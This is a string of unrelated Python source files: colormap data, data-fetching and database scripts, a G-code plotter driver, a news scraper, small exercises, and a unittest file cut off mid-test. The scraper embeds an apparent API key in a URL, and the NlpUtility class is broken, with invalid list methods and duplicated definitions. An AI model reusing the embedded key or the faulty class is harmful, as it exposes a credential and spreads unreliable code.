[0.65041, 0.42771, 0.176], [0.6547, 0.43522, 0.17774], [0.65904, 0.44283, 0.17962], [0.66341, 0.45054, 0.18175], [0.6678, 0.45834, 0.18416], [0.67222, 0.46625, 0.1868], [0.67667, 0.47425, 0.18968], [0.68114, 0.48233, 0.19283], [0.68566, 0.49051, 0.19624], [0.69019, 0.49878, 0.19987], [0.69474, 0.50712, 0.20384], [0.69933, 0.51554, 0.20803], [0.70394, 0.52406, 0.21251], [0.70858, 0.53265, 0.21726], [0.71322, 0.5413, 0.22229], [0.7179, 0.55003, 0.22761], [0.72257, 0.55881, 0.23318], [0.72727, 0.56767, 0.23907], [0.73197, 0.57658, 0.24521], [0.73666, 0.58553, 0.25168], [0.74136, 0.59451, 0.25837], [0.74605, 0.60354, 0.26537], [0.75073, 0.61259, 0.27263], [0.75538, 0.62166, 0.28017], [0.76001, 0.63075, 0.28796], [0.7646, 0.63982, 0.29602], [0.76914, 0.64889, 0.30433], [0.77363, 0.65793, 0.31287], [0.77806, 0.66694, 0.32165], [0.78242, 0.6759, 0.33066], [0.78669, 0.68481, 0.33988], [0.79087, 0.69365, 0.34929], [0.79494, 0.7024, 0.35888], [0.7989, 0.71106, 0.36867], [0.80273, 0.71961, 0.37859], [0.80642, 0.72803, 0.38866], [0.80996, 0.73631, 0.39885], [0.81334, 0.74446, 0.40916], [0.81655, 0.75244, 0.41957], [0.81956, 0.76025, 0.43004], [0.82239, 0.76787, 0.44057], [0.82501, 0.7753, 0.45115], [0.82742, 0.78252, 0.46174], [0.8296, 0.78953, 0.47235], [0.83155, 0.79631, 0.48293], [0.83326, 0.80287, 0.49349], [0.83472, 0.80919, 0.50402], [0.83592, 0.81526, 0.51449], [0.83686, 0.82109, 0.52487], [0.83753, 0.82666, 0.53517], [0.83793, 0.83198, 0.54537], [0.83805, 0.83703, 0.55546], [0.83788, 0.84182, 0.56542], [0.83744, 0.84635, 0.57525], [0.8367, 0.85061, 0.58493], [0.83567, 0.85462, 0.59446], [0.83435, 0.85835, 0.60382], [0.83274, 0.86183, 0.61301], [0.83084, 0.86504, 0.62202], [0.82864, 0.868, 0.63085], [0.82615, 0.87068, 0.63949], [0.82337, 0.87312, 0.64792], [0.8203, 0.87531, 0.65617], [0.81695, 0.87724, 0.6642], [0.81331, 0.87892, 0.67203], [0.80939, 0.88036, 0.67964], [0.80518, 0.88156, 0.68705], [0.80071, 0.8825, 0.69424], [0.79595, 0.88322, 0.70121], [0.79094, 0.8837, 0.70797], [0.78566, 0.88395, 0.7145], [0.78012, 0.88396, 0.72082], [0.77433, 0.88375, 0.72692], [0.7683, 0.88331, 0.73279], [0.76203, 0.88264, 0.73844], [0.75553, 0.88177, 0.74387], [0.74879, 0.88066, 0.74908], [0.74184, 0.87934, 0.75407], [0.73468, 0.87781, 0.75884], [0.72731, 0.87607, 0.76339], [0.71976, 0.87411, 0.76772], [0.71201, 0.87195, 0.77184], [0.70408, 0.86958, 0.77573], [0.69599, 0.86701, 0.77941], [0.68774, 0.86425, 0.78288], [0.67934, 0.86127, 0.78614], [0.67081, 0.85811, 0.78919], [0.66215, 0.85476, 0.79202], [0.65336, 0.8512, 0.79465], [0.64448, 0.84747, 0.79707], [0.6355, 0.84356, 0.7993], [0.62645, 0.83947, 0.80131], [0.61732, 0.83519, 0.80313], [0.60814, 0.83075, 0.80476], [0.59891, 0.82614, 0.80619], [0.58965, 0.82137, 0.80743], [0.58037, 0.81644, 0.80848], [0.57108, 0.81135, 0.80935], [0.56181, 0.80612, 0.81004], [0.55255, 0.80074, 0.81055], [0.54332, 0.79522, 0.81088], [0.53412, 0.78958, 0.81105], [0.525, 0.7838, 0.81105], [0.51593, 0.77791, 0.81088], [0.50695, 0.77189, 0.81055], [0.49808, 0.76577, 0.81007], [0.48928, 0.75954, 0.80944], [0.48061, 0.75321, 0.80866], [0.47207, 0.7468, 0.80773], [0.46365, 0.74029, 0.80667], [0.45539, 0.7337, 0.80546], [0.44728, 0.72703, 0.80413], [0.43934, 0.7203, 0.80266], [0.43158, 0.7135, 0.80107], [0.42398, 0.70664, 0.79936], [0.41658, 0.69971, 0.79752], [0.40938, 0.69275, 0.79557], [0.40237, 0.68572, 0.79351], [0.3956, 0.67865, 0.79133], [0.38903, 0.67155, 0.78905], [0.38267, 0.66441, 0.78666], [0.37656, 0.65724, 0.78416], [0.37066, 0.65003, 0.78155], [0.36502, 0.64279, 0.77884], [0.35961, 0.63552, 0.77604], [0.35446, 0.62824, 0.77312], [0.34955, 0.62094, 0.77011], [0.3449, 0.6136, 0.767], [0.34051, 0.60625, 0.76378], [0.33637, 0.59889, 0.76047], [0.33253, 0.59151, 0.75704], [0.32893, 0.58412, 0.75351], [0.32559, 0.57671, 0.74987], [0.32256, 0.56928, 0.74613], [0.31978, 0.56186, 0.74228], [0.31727, 0.55441, 0.7383], [0.31505, 0.54695, 0.73422], [0.31311, 0.53948, 0.73002], [0.31144, 0.53201, 0.72569], [0.31007, 0.52453, 0.72124], [0.30897, 0.51704, 0.71667], [0.30811, 0.50955, 0.71197], [0.30755, 0.50205, 0.70713], [0.30726, 0.49456, 0.70216], [0.30723, 0.48707, 0.69706], [0.30746, 0.47958, 0.69182], [0.30795, 0.4721, 0.68643], [0.3087, 0.46463, 0.6809], [0.30968, 0.45716, 0.67525], [0.31088, 0.44973, 0.66944], [0.31228, 0.44232, 0.6635], [0.31393, 0.43493, 0.65741], [0.31578, 0.42758, 0.65118], [0.3178, 0.42025, 0.64482], [0.32001, 0.41299, 0.63833], [0.32238, 0.40577, 0.6317], [0.32489, 0.39861, 0.62495], [0.32755, 0.39152, 0.61809], [0.33035, 0.38448, 0.61111], [0.33327, 0.37755, 0.60402], [0.33627, 0.37068, 0.59684], [0.33939, 0.36392, 0.58955], [0.34257, 0.35728, 0.58219], [0.3458, 0.35073, 0.57476], [0.34912, 0.34428, 0.56727], [0.35247, 0.33797, 0.55971], [0.35587, 0.33179, 0.55212], [0.35927, 0.32574, 0.54448], [0.36271, 0.31986, 0.53684], [0.36617, 0.31411, 0.52917], [0.36961, 0.30852, 0.52148], [0.37306, 0.30306, 0.51382], [0.37652, 0.2978, 0.50615], [0.37994, 0.29269, 0.49854], [0.38336, 0.28775, 0.49094], [0.38674, 0.28301, 0.48337], [0.39011, 0.27842, 0.47586], [0.39346, 0.27401, 0.4684], [0.39677, 0.26978, 0.461], [0.40006, 0.26573, 0.45366], [0.40333, 0.26185, 0.4464], [0.40655, 0.25815, 0.43921], [0.40974, 0.25466, 0.43212], [0.4129, 0.25132, 0.42509], [0.41602, 0.24817, 0.41813], [0.41912, 0.24515, 0.41128], [0.42218, 0.24235, 0.40451], [0.42522, 0.23972, 0.39784], [0.42823, 0.23728, 0.39126], [0.43121, 0.23498, 0.38475], [0.43415, 0.23282, 0.37836], [0.43708, 0.23086, 0.37204], [0.43998, 0.22907, 0.36583], [0.44286, 0.22743, 0.3597], [0.44571, 0.22596, 0.35366], [0.44855, 0.2246, 0.34773], ] romaO_map = LinearSegmentedColormap.from_list("romaO", cm_data) # For use of "viscm view" test_cm = romaO_map if __name__ == "__main__": import matplotlib.pyplot as plt import numpy as np try: from viscm import viscm viscm(romaO_map) except ImportError: print("viscm not found, falling back on simple display") plt.imshow(np.linspace(0, 100, 256)[None, :], aspect="auto", cmap=romaO_map) plt.show()
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3dd4b4d4241e588cf44230891f496bafb30c6153
import requests import json import pandas as pd n1 = "ADS" api_url = "https://www.quandl.com/api/v3/datasets/WIKI/%s.csv" % n1 df = pd.read_csv(api_url) df = df.head(100) print(df.head()) # print(list(data))
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a558b42106b036719fe38ee6efd1c5b933290f52
#!/usr/local/bin/python # -*- coding: utf-8 -*- from sqlalchemy import select, update from sqlalchemy import Table, Column, String, Integer, Float, Boolean, Date, BigInteger from sqlalchemy import create_engine, MetaData import API_and_Database_function as func import pandas as pd import re connection, Twitter_Sentiment_Analysis = func.Database_Acces( "mysql://root@localhost/sentiment?charset=utf8mb4", "utf8", "Twitter_Sentiment_Analysis4" ) stmt = "SET NAMES 'UTF8';" connection.execute(stmt) func.update_annotations_db(Twitter_Sentiment_Analysis, connection, "Export_csv5.csv")
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10d35ba3c04d9cd09e152c575e74b0382ff60572
from pydispatch import dispatcher import time import serial import threading from queue import Queue PORT = "/dev/ttys005" # PORT='/dev/tty.usbmodem1461' SPEED = 4800.0 class GcodeSender(object): PEN_LIFT_PULSE = 1500 PEN_DROP_PULSE = 800 def __init__(self, **kwargs): super(GcodeSender, self).__init__(**kwargs) self._stop = threading.Event() self.parsing_thread = None self.command_queue = Queue() self.line_number = 1 self.plotter = None dispatcher.connect(self.on_pen_lift, signal="PEN_LIFT", sender=dispatcher.Any) dispatcher.connect(self.on_move_to_point, signal="MOVE_TO_POINT", sender=dispatcher.Any) dispatcher.connect(self.on_pen_drop, signal="PEN_DROP", sender=dispatcher.Any) def on_move_to_point(self, x, y): print("X{0:.3f} Y{1:.3f}".format(x, y)) command = "G1 X{0:.3f} Y{1:.3f} F{2:.1f}".format(x, y, SPEED) self.command_queue.put_nowait(command) def on_pen_drop(self): # print("pen drop") self.command_queue.put_nowait("M400") self.command_queue.put_nowait("M340 P0 S{}".format(self.PEN_DROP_PULSE)) self.command_queue.put_nowait("G4 S1") def on_pen_lift(self): # print("pen lift") self.command_queue.put_nowait("M400") self.command_queue.put_nowait("M340 P0 S{}".format(self.PEN_LIFT_PULSE)) self.command_queue.put_nowait("G4 P500") def start(self): self._stop.clear() self.parsing_thread = threading.Thread(target=self.start_processing) self.parsing_thread.daemon = True self.parsing_thread.start() def stop(self): if self.plotter: self.plotter.close() self.plotter = None def __del__(self): self.stop_thread() self.stop() def start_processing(self): self.command_queue.put_nowait("M110 N2") self.command_queue.put_nowait("G90") self.command_queue.put_nowait("G28") self.plotter = serial.Serial(PORT, 115200, timeout=1) self._read_and_process_and_wait_for_ok(break_on_timeout=True) while True: while not self.command_queue.empty(): command = self.command_queue.get_nowait() self.command_queue.task_done() self._send_line(command) self._read_and_process_and_wait_for_ok() time.sleep(0.5) def _send_line(self, line): command = "N{} {} ".format(self.line_number, line) command = "{}*{}\n".format(command, self._checksum(command)) # print("SEND: {}".format(command)) self.line_number += 1 self.plotter.write(command.encode("utf-8")) def _read_line(self): response = self.plotter.readline() print("READ: {}".format(response)) return response.decode("utf-8") def _checksum(self, command): checksum = 0 for char in command: byte_char = char.encode("utf-8") int_char = int.from_bytes(byte_char, "big") checksum = checksum ^ int_char return checksum def _read_and_process_and_wait_for_ok(self, break_on_timeout=False): response = self._read_line() if not response.strip() and break_on_timeout: return previous_line_number = self.line_number - 1 while not response.startswith("ok"): if response.startswith((f"rs {previous_line_number}", f"Resend:{previous_line_number}")): print("resend request: {}".format(response)) self.line_number = self.line_number - 1 self._send_line(command) response = self._read_line() elif response.startswith(("rs", "Resend")): raise Exception("requested resend of some other line number: {}".format(response)) elif response.startswith("!!"): raise Exception("printer fault") elif response.startswith("//"): print("comment: {}".format(response)) response = self._read_line() elif response.startswith("wait"): response = self._read_line() time.sleep(0.5) elif response.startswith("start"): return else: print("unknown response: {}".format(response)) response = self._read_line() # raise Exception('unknown response: {}'.format(response)) def stop_thread(self): self._stop.set() self.parsing_thread = None
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e1d0648825695584d3ea518db961a9178ea0c66a
import requests import sxtwl import datetime from datetime import date import lxml from lxml import etree # 日历中文索引 ymc = ["十一", "十二", "正", "二", "三", "四", "五", "六", "七", "八", "九", "十"] rmc = [ "初一", "初二", "初三", "初四", "初五", "初六", "初七", "初八", "初九", "初十", "十一", "十二", "十三", "十四", "十五", "十六", "十七", "十八", "十九", "二十", "廿一", "廿二", "廿三", "廿四", "廿五", "廿六", "廿七", "廿八", "廿九", "三十", "卅一", ] # 日历库实例化 lunar = sxtwl.Lunar() # 2.阳历转阴历 def china_lunar(): today = str(date.today()) today_list = today.split("-") # ['2019', '08', '08'] lunar_day = lunar.getDayBySolar( (int)(datetime.datetime.now().year), (int)(datetime.datetime.now().month), (int)(datetime.datetime.now().day) ) # 输入年月日 # 判断是否为润年 if lunar_day.Lleap: china_day = "农历:{0}月{1}".format(ymc[lunar_day.Lmc], rmc[lunar_day.Ldi]) else: china_day = "农历:{0}月{1}".format(ymc[lunar_day.Lmc], rmc[lunar_day.Ldi]) return today, china_day import json def morning_news(): news_api = "http://api.tianapi.com/bulletin/index?key=7d407997897033ce7f6e86a51e3284d2" response = requests.get(news_api) print(dict(response.json())) news_list = dict(response.json()) news = "" m = 1 news_q = "" for i in news_list["newslist"]: img_url = "" if i["url"] == "": img_url = i["imgsrc"] news = str(str(m) + ":" + i["title"] + "\n" + i["url"] + img_url + "\n") news_q += str(news) m += 1 return news_q def news_put(): news_spider_message = "【早间新闻】 " + china_lunar()[0] + " " + china_lunar()[1] + "\n" + morning_news() return news_spider_message headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36" } def NewYork_news(page=1): society = "https://cn.nytimes.com/society/{}/".format(page) response = requests.get(url=society, headers=headers) mytree = lxml.etree.HTML(response.text) title = mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div/div/ul//h3/a') news = mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div/div/ul//p') url = mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div/div/ul//h3/a/@href') # print(mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div[2]/div/ul//h3/a')[1].text) #这个是标题 # print(mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div[2]/div/ul//p')[1].text) # 这个是简介 # # print(mytree.xpath('//*[@id="sectionWrapper"]/div[1]/div[2]/div/ul//h3/a/@href')[1]) # 这个是链接 newss_1 = "" number = 1 for t in title: newss = ( str(number) + ":" + str_list(t.text) + "。" + "\n" + " 概要：" + str_list(news[title.index(t)].text) + "。" + "\n" + " 详情：" + "\n" + "\n" ) newss_1 += newss number += 1 return newss_1 def NewYork_news_put(page=0): news_spider_message = "【纽约时报中文网】" + china_lunar()[0] + " " + china_lunar()[1] + "\n" + NewYork_news(page) return news_spider_message def str_list(t): m = "" for i in list(t): if i == "中": china = "Z" m += china + "_" else: m += i + "_" return m
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2c39660da8fe839c4634cd73ce069acc7b1b29b4
import time # Decorator def measure_time_of_func(func): def wrapper_func(n): start_time = time.time() fib_seq = func(n) end_time = time.time() return (fib_seq, end_time - start_time) return wrapper_func # Returns a list with first n numbers of fibonacci sequence. @measure_time_of_func def fib(n): sequence = [1, 1] for i in range(2, n, 1): sequence.append(sequence[i - 1] + sequence[i - 2]) return sequence
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c87e6f8780bf8d9097f200c7f2f0faf55beb480c
# 1 def transform_data(fn): print(fn(10)) # 2 transform_data(lambda data: data / 5) # 3 def transform_data2(fn, *args): for arg in args: print(fn(arg)) transform_data2(lambda data: data / 5, 10, 15, 22, 30) # 4 def transform_data2(fn, *args): for arg in args: print("Result: {:^20.2f}".format(fn(arg))) transform_data2(lambda data: data / 5, 10, 15, 22, 30)
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f4f08015b7638f4d6ea793350d5d19a3485978cd
"""Plot the output data.""" # Standard library import os import json import math import matplotlib as maplot import matplotlib.pyplot as pyplot from datetime import datetime # User library from sub.inputprocess import CONSTANTS as CONS # **json.loads(json_data) def get_data(): """Read output file to get data.""" try: with open(CONS["OUTPUT_FILE"], "r") as file: data = json.load(file)[1] return data except FileNotFoundError: print("Data file not found.") exit() def get_objectives(data): """Get a list of all first chromosomes' objective values.""" objectives = [math.log(population[0]["objective"]) for population in data] # objectives = [population[0]["objective"] for population in data] return objectives def get_new_values(values): """Record any changes higher. Its size is the same as its argument's.""" new_values = [] new_value = values[0] for value in values: if value > new_value: new_value = value new_values.append(new_value) return new_values def main(values, is_animation=False): """Main function to show the plot which could be played with animation.""" def on_clicked(event): """Direct the program when a key is pressed.""" if event.key == "x": # Use this os._exit(0) to close whole window, even when playing os._exit(0) if event.key == "s": # Get time to define image's name now = datetime.now() current_time = now.strftime("%H-%M-%S") plot_name = "Plot" + "-" + current_time # Remove left title, then save image pyplot.title("", loc="left", pad=20) fig.savefig( "%s%s%s" % ( CONS["OUTPUT_PHOTO_DIRECTORY"], plot_name, CONS["PHOTO_TYPE"], ), transparent=False, dpi=300, ) # Use this exit(0) to prevent exiting when playing the plot # but allow closing when plotting finishes exit(0) def draw(values): """Plot the grid, the line graphs and the titles.""" # Turn on grid with dashed style subplot.yaxis.grid(True, linestyle="dashed") # Get list of new higher values new_values = get_new_values(values) # Plot 2 lines subplot.plot(range(len(values)), values) subplot.plot(range(len(new_values)), new_values, linewidth=2) # Print left plot title pyplot.title( "Press X to exit\nPress S to save", loc="left", fontsize=14, color="#1F76B4", style="italic", pad=20, ) # Print right plot title pyplot.title( f"{'Max objective:':>25}{max(values):>10.2E}\n{'Generation:':>25}{values.index(max(values)):>10}", loc="right", fontfamily="Lucida Sans Typewriter", fontsize=12, color="#FF7E0E", pad=20, ) # The following code configures some elements of the plot window # Disable toolbar maplot.rcParams["toolbar"] = "None" # Set font maplot.rcParams["font.family"] = "Candara" maplot.rcParams["font.size"] = 12 maplot.rcParams["font.weight"] = 500 # Set window title fig = pyplot.figure(figsize=(10, 5)) fig.canvas.set_window_title("Prosthetic Foot Design by Genetic Algorithm") # Set icon manager = pyplot.get_current_fig_manager() manager.window.wm_iconbitmap(CONS["ICON_FILE"]) # Disable some borders subplot = fig.add_subplot(111, frameon=True) subplot.spines["right"].set_visible(False) subplot.spines["left"].set_visible(False) subplot.spines["top"].set_visible(False) # Push verticle axis to the right subplot.yaxis.tick_right() # Padding axis label from plot area, maybe unnecessary subplot.tick_params(axis="y", which="major", pad=5) subplot.tick_params(axis="x", which="major", pad=5) # Adjust subplot size based on window size pyplot.subplots_adjust(left=0.03, right=0.94, top=0.82, bottom=0.1) # Reconize key pressed pyplot.connect("key_press_event", on_clicked) if is_animation: for index in range(1, len(values) + 1): subplot.clear() draw(values[:index]) pyplot.pause(0.0001) else: draw(values) # Hold window pyplot.show() if __name__ == "__main__": __package__ = "inputprocess" objectives = get_objectives(get_data()) main(objectives, is_animation=CONS["IS_ANIMATION"])
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d2a153fffccd4b681eebce823e641e195197cde7
""" Created on 02.09.2013 @author: Paul Schweizer @email: [email protected] @brief: Holds all the namingconventions for pandora's box """ import os import json class NamingConvention: """Imports naming conventions from the respective .json file and puts them into class variables. """ def __init__(self): namingconventions = os.path.join(os.path.dirname(os.path.dirname(__file__)), "data", "strings", "namingconvention.json") namingconventions = json.load(open(namingconventions)) for key, value in namingconventions.items(): setattr(NamingConvention, key, value) # end for constant in constants # end def __init__ # end class NamingConvention
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aff1d702e591efcfc0fc93150a3fbec532408137
from rest_framework import serializers, viewsets, routers from lamp_control.models import Lamp class LampSerializer(serializers.HyperlinkedModelSerializer): class Meta: model = Lamp fields = "__all__" class LampViewSet(viewsets.ModelViewSet): serializer_class = LampSerializer queryset = Lamp.objects.all() router = routers.DefaultRouter() router.register(r"lamps", LampViewSet)
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c6502ea2b32ad90c76b6dfaf3ee3218d029eba15
class NlpUtility: """ Utility methods to get particular parts of speech from a token set """ def get_nouns(self, tokens): nouns = [] for word, pos in tokens: if pos == "NN": nouns.push(word) def get_verbs(self, tokens): verbs = [] for word, pos in tokens: if pos == "VB": nouns.push(word) def get_adjectives(self, tokens): nouns = [] for word, pos in tokens: if pos == "NN": nouns.push(word) def get_nouns(self, tokens): nouns = [] for word, pos in tokens: if pos == "NN": nouns.push(word) def get_nouns(self, tokens): nouns = [] for word, pos in tokens: if pos == "NN": nouns.push(word)
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675fbdfd519d00ab10bf613e8abb7338e484fe65
import logging formatter = logging.Formatter("%(asctime)s [%(levelname)s] : %(message)s") log = logging.getLogger("othello") log.setLevel(logging.DEBUG) stream_hander = logging.StreamHandler() stream_hander.setFormatter(formatter) log.addHandler(stream_hander)
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d7b45e76f150107cd62be160e8938f17dad90623
import pandas as pd from sqlalchemy import create_engine # file = 'testfile.csv' # print(pd.read_csv(file, nrows=5)) with open("testfile_short1.csv", "r") as original: data = original.read() for i in range(2): with open("testfile_short3.csv", "a") as modified: modified.write(data)
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61454a3d6b5b17bff871ededc6ddfe8384043884
from pythongame.core.buff_effects import get_buff_effect, register_buff_effect, StatModifyingBuffEffect from pythongame.core.common import ItemType, Sprite, BuffType, Millis, HeroStat from pythongame.core.game_data import UiIconSprite, register_buff_text from pythongame.core.game_state import Event, PlayerDamagedEnemy, GameState from pythongame.core.item_effects import AbstractItemEffect from pythongame.core.item_inventory import ItemEquipmentCategory from pythongame.game_data.items.register_items_util import register_custom_effect_item BUFF_TYPE = BuffType.BUFFED_BY_HEALING_WAND HEALTH_REGEN_BONUS = 1 BUFF_DURATION = Millis(5000) class ItemEffect(AbstractItemEffect): def item_handle_event(self, event: Event, game_state: GameState): if isinstance(event, PlayerDamagedEnemy): game_state.player_state.gain_buff_effect(get_buff_effect(BUFF_TYPE), BUFF_DURATION) class BuffedByHealingWand(StatModifyingBuffEffect): def __init__(self): super().__init__(BUFF_TYPE, {HeroStat.HEALTH_REGEN: HEALTH_REGEN_BONUS}) def register_healing_wand_item(): item_type = ItemType.HEALING_WAND register_custom_effect_item( item_type=item_type, item_level=4, ui_icon_sprite=UiIconSprite.ITEM_HEALING_WAND, sprite=Sprite.ITEM_HEALING_WAND, image_file_path="resources/graphics/item_healing_wand.png", item_equipment_category=ItemEquipmentCategory.MAIN_HAND, name="Healing wand", custom_description=[ "When you damage an enemy, gain +" + str(HEALTH_REGEN_BONUS) + " health regen for " + "{:.0f}".format(BUFF_DURATION / 1000) + "s" ], stat_modifier_intervals=[], custom_effect=ItemEffect(), ) register_buff_effect(BUFF_TYPE, BuffedByHealingWand) register_buff_text(BUFF_TYPE, "Healing wand")
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4c60fd123f591bf2a88ca0affe14a3c3ec0d3cf6
from pyspark import SparkContext from pyspark.sql import SQLContext from pyspark.sql.types import * sc = SparkContext("local", "weblog app") effective_care = ( sc.textFile("file:///data/exercise1/effective_care").map(lambda l: l.encode().split(",")).map(lambda x: (x[0], x[1:])) ) procedure_care = effective_care.map(lambda p: (p[1][1], [p[0], p[1][2]])) procedure_care_grouped = procedure_care.groupByKey() def range_func(measures): scores = [] for entry in measures: try: curr = int(entry[1]) except: curr = None if curr is not None: scores.append(curr) if len(scores) < 1: return 0 return max(scores) - min(scores) measure_dates = ( sc.textFile("file:///data/exercise1/measure_dates").map(lambda l: l.encode().split(",")).map(lambda x: (x[1], x[0])) ) procedure_score_range = procedure_care_grouped.map(lambda p: (p[0], range_func(p[1]))).join(measure_dates) sorted_ranges = procedure_score_range.sortBy(lambda x: x[1], False) top = sorted_ranges.take(10) print(top)
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5c30b0e952ddf2e05a7ad5f8d9bbd4f5e22f887d
# strspn(str1,str2) str1 = "12345678" str2 = "456" # str1 and chars both in str1 and str2 print(str1 and str2) str1 = "cekjgdklab" str2 = "gka" nPos = -1 for c in str1: if c in str2: nPos = str1.index(c) break print(nPos)
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a86b64ccd0dab4ab70ca9c2b7625fb34afec3794
from django.contrib import admin from django_summernote.admin import SummernoteModelAdmin from .models import ArticlePost # Register your models here. class SomeModelAdmin(SummernoteModelAdmin): # instead of ModelAdmin summernote_fields = "__all__" admin.site.register(ArticlePost, SummernoteModelAdmin)
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f17d33f1d035da42dc9a2b4c0c60beefc6a48dea
import functools import shutil import tempfile import unittest import unittest.mock from pathlib import Path import numpy as np import pandas as pd import one.alf.io as alfio from ibllib.io.extractors import training_trials, biased_trials, camera from ibllib.io import raw_data_loaders as raw from ibllib.io.extractors.base import BaseExtractor def wheelMoves_fixture(func): """Decorator to save some dummy wheelMoves ALF files for extraction tests""" @functools.wraps(func) def wrapper(obj=None): # Save some wheelMoves ALF files attr_list = ["training_lt5", "training_ge5", "biased_lt5", "biased_ge5"] alf_paths = [getattr(obj, p)["path"] / "alf" for p in attr_list] n_trials = [getattr(obj, p)["ntrials"] for p in attr_list] for p, n in zip(alf_paths, n_trials): p.mkdir() np.save(str(p / "_ibl_wheelMoves.intervals.npy"), np.zeros((n, 2))) np.save(str(p / "_ibl_wheelMoves.peakAmplitude.npy"), np.zeros(n)) # Run method func(obj) # Teardown; delete the files for p in alf_paths: shutil.rmtree(p) return wrapper class TestExtractTrialData(unittest.TestCase): def setUp(self): self.main_path = Path(__file__).parent self.training_lt5 = {"path": self.main_path / "data" / "session_training_lt5"} self.biased_lt5 = {"path": self.main_path / "data" / "session_biased_lt5"} self.training_ge5 = {"path": self.main_path / "data" / "session_training_ge5"} self.biased_ge5 = {"path": self.main_path / "data" / "session_biased_ge5"} self.training_lt5["ntrials"] = len(raw.load_data(self.training_lt5["path"])) self.biased_lt5["ntrials"] = len(raw.load_data(self.biased_lt5["path"])) self.training_ge5["ntrials"] = len(raw.load_data(self.training_ge5["path"])) self.biased_ge5["ntrials"] = len(raw.load_data(self.biased_ge5["path"])) # turn off logging for unit testing as we will purposedly go into warning/error cases self.wheel_ge5_path = self.main_path / "data" / "wheel_ge5" self.wheel_lt5_path = self.main_path / "data" / "wheel_lt5" # Save some dummy wheel moves data for trial firstMovement_times extraction def test_get_feedbackType(self): # TRAINING SESSIONS ft = training_trials.FeedbackType(self.training_lt5["path"]).extract()[0] self.assertEqual(ft.size, self.training_lt5["ntrials"]) # check if no 0's in feedbackTypes self.assertFalse(ft[ft == 0].size > 0) # -- version >= 5.0.0 ft = training_trials.FeedbackType(self.training_ge5["path"]).extract()[0] self.assertEqual(ft.size, self.training_ge5["ntrials"]) # check if no 0's in feedbackTypes self.assertFalse(ft[ft == 0].size > 0) # BIASED SESSIONS ft = biased_trials.FeedbackType(self.biased_lt5["path"]).extract()[0] self.assertEqual(ft.size, self.biased_lt5["ntrials"]) # check if no 0's in feedbackTypes self.assertFalse(ft[ft == 0].size > 0) # -- version >= 5.0.0 ft = biased_trials.FeedbackType(self.biased_ge5["path"]).extract()[0] self.assertEqual(ft.size, self.biased_ge5["ntrials"]) # check if no 0's in feedbackTypes self.assertFalse(ft[ft == 0].size > 0) def test_get_contrastLR(self): # TRAINING SESSIONS cl, cr = training_trials.ContrastLR(self.training_lt5["path"]).extract()[0] self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)])) self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)])) self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl)) self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl)) # -- version >= 5.0.0 cl, cr = training_trials.ContrastLR(self.training_ge5["path"]).extract()[0] self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)])) self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)])) self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl)) self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl)) # BIASED SESSIONS cl, cr = biased_trials.ContrastLR(self.biased_lt5["path"]).extract()[0] self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)])) self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)])) self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl)) self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl)) # -- version >= 5.0.0 cl, cr = biased_trials.ContrastLR(self.biased_ge5["path"]).extract()[0] self.assertTrue(all([np.sign(x) >= 0 for x in cl if ~np.isnan(x)])) self.assertTrue(all([np.sign(x) >= 0 for x in cr if ~np.isnan(x)])) self.assertTrue(sum(np.isnan(cl)) + sum(np.isnan(cr)) == len(cl)) self.assertTrue(sum(~np.isnan(cl)) + sum(~np.isnan(cr)) == len(cl)) def test_get_probabilityLeft(self): # TRAINING SESSIONS pl = training_trials.ProbabilityLeft(self.training_lt5["path"]).extract()[0] self.assertTrue(isinstance(pl, np.ndarray)) # -- version >= 5.0.0 pl = training_trials.ProbabilityLeft(self.training_ge5["path"]).extract()[0] self.assertTrue(isinstance(pl, np.ndarray)) # BIASED SESSIONS pl = biased_trials.ProbabilityLeft(self.biased_lt5["path"]).extract()[0] self.assertTrue(isinstance(pl, np.ndarray)) # Test if only probs that are in prob set md = raw.load_settings(self.biased_lt5["path"]) if md: probs = md["BLOCK_PROBABILITY_SET"] probs.append(0.5) self.assertTrue(sum([x in probs for x in pl]) == len(pl)) # -- version >= 5.0.0 pl = biased_trials.ProbabilityLeft(self.biased_ge5["path"]).extract()[0] self.assertTrue(isinstance(pl, np.ndarray)) # Test if only probs that are in prob set md = raw.load_settings(self.biased_ge5["path"]) probs = md["BLOCK_PROBABILITY_SET"] probs.append(0.5) self.assertTrue(sum([x in probs for x in pl]) == len(pl)) def test_get_choice(self): # TRAINING SESSIONS choice = training_trials.Choice(session_path=self.training_lt5["path"]).extract(save=False)[0] self.assertTrue(isinstance(choice, np.ndarray)) data = raw.load_data(self.training_lt5["path"]) trial_nogo = np.array([~np.isnan(t["behavior_data"]["States timestamps"]["no_go"][0][0]) for t in data]) if any(trial_nogo): self.assertTrue(all(choice[trial_nogo]) == 0) # -- version >= 5.0.0 choice = training_trials.Choice(session_path=self.training_ge5["path"]).extract(save=False)[0] self.assertTrue(isinstance(choice, np.ndarray)) data = raw.load_data(self.training_ge5["path"]) trial_nogo = np.array([~np.isnan(t["behavior_data"]["States timestamps"]["no_go"][0][0]) for t in data]) if any(trial_nogo): self.assertTrue(all(choice[trial_nogo]) == 0) # BIASED SESSIONS choice = biased_trials.Choice(session_path=self.biased_lt5["path"]).extract(save=False)[0] self.assertTrue(isinstance(choice, np.ndarray)) data = raw.load_data(self.biased_lt5["path"]) trial_nogo = np.array([~np.isnan(t["behavior_data"]["States timestamps"]["no_go"][0][0]) for t in data]) if any(trial_nogo): 